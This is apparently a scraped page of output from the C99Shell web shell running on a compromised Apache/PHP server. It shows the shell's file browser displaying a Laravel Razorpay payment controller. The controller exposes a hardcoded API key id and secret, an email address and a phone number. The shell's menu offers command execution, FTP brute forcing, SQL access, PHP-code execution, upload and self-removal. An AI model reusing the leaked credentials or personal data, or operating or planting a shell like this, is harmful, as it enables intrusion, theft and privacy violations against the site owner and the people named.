!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/app/Http/Controllers/Seller/Subscription/   drwxr-xr-x
Free 13.29 GB of 57.97 GB (22.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RazorpayController.php (2.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Seller\Subscription;

use 
App\Http\Controllers\Controller;
use 
Illuminate\Http\Request;
use 
Http;
use 
Razorpay\Api\Api;
class 
RazorpayController extends Controller
{
    protected 
$key_id="rzp_test_siWkeZjPLsYGSi";
    protected 
$key_secret="jmIzYyrRVMLkC9BwqCJ0wbmt";
    protected 
$user_name="maruf test";
    protected 
$currency="USD";
    protected 
$email="mohammadmaruf020@gmail.com";
    protected 
$phone="0182000000";
    protected 
$address="";
    protected 
$amount=100;

    protected 
$payment_id=null;
    
    protected 
$url;

    public function 
index()
    {
        
$api = new Api($this->key_id$this->key_secret);
        
$referance_id="test123";
        
$order $api->order->create(array(
            
'receipt' => $referance_id,
            
'amount' => $this->amount*100,
            
'currency' => $this->currency
        
)
        );

         
// Return response on payment page
        
$response = [
            
'orderId' => $order['id'],
            
'razorpayId' => $this->key_id,
            
'amount' => $this->amount*100,
            
'name' => $this->user_name,
            
'currency' => $this->currency,
            
'email' => $this->email,
            
'contactNumber' => $this->phone,
            
'address' => $this->address,
            
'description' => 'Testing description',
        ];

        
// Let's checkout payment page is it working
        
return view('subscription.razorpay',compact('response'));
    }

    

    public function 
status(Request $request)
    {
    
// Now verify the signature is correct . We create the private function for verify the signature
        
$signatureStatus $this->SignatureVerify(
            
$request->all()['rzp_signature'],
            
$request->all()['rzp_paymentid'],
            
$request->all()['rzp_orderid']
        );

    
// If Signature status is true We will save the payment response in our database
    // In this tutorial we send the response to Success page if payment successfully made
        
if($signatureStatus == true)
        {
        
// You can create this page
            
dd($this->payment_id);
            
//for success
        
}
        else{
        
// You can create this page
            
dd($signatureStatus);
            
//for faild
        
}
    }

// In this function we return boolean if signature is correct
    
private function SignatureVerify($_signature,$_paymentId,$_orderId)
    {
        try
        {
        
// Create an object of razorpay class
            
$api = new Api($this->key_id$this->key_secret);
            
$attributes  = array('razorpay_signature'  => $_signature,  'razorpay_payment_id'  => $_paymentId ,  'razorpay_order_id' => $_orderId);
            
$order  $api->utility->verifyPaymentSignature($attributes);
            
$this->payment_id=$_paymentId;
            return 
true;
        }
        catch(
\Exception $e)
        {
        
// If Signature is not correct its give a excetption so we use try catch
            
return false;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--